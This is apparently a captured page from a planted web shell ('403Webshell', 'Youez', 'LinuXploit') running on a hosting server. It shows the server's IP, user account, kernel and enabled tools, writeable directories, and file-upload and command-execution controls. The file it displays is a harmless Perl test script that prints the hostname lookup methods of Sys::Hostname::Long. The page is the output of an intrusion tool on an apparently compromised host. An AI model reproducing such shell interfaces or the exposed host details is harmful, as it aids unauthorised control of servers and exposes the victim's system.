403Webshell
Server IP : 74.208.236.79  /  Your IP : 216.73.216.40
Web Server : Apache
System : Linux infongp-us50 4.4.400-icpu-108 #2 SMP Wed Feb 11 10:12:42 UTC 2026 x86_64
User : u93192080 ( 6162215)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /kunden/usr/share/perl5/Sys/Hostname/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /kunden/usr/share/perl5/Sys/Hostname/testall.pl
#!/usr/bin/perl -w
use strict;
use Test;

use lib '../lib';
use lib 'lib';

use Sys::Hostname::Long;

format STDOUT_TOP =
Method           |Title                            |Result
-----------------|---------------------------------|---------------------------------------
.

my ($method, $title, $ret);

format STDOUT =
@<<<<<<<<<<<<<<<<|@<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<|@<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
$method, $title, $ret
.


$ret = hostname_long();
$method = "AUTOMATIC";
$title = "via " . $Sys::Hostname::Long::lastdispatch;
write;

foreach $method (Sys::Hostname::Long::dispatch_keys()) {
	$title = Sys::Hostname::Long::dispatch_title($method);
	$ret = (Sys::Hostname::Long::dispatcher($method) || ""); 
	write;
}

Youez - 2016 - github.com/yon3zu
LinuXploit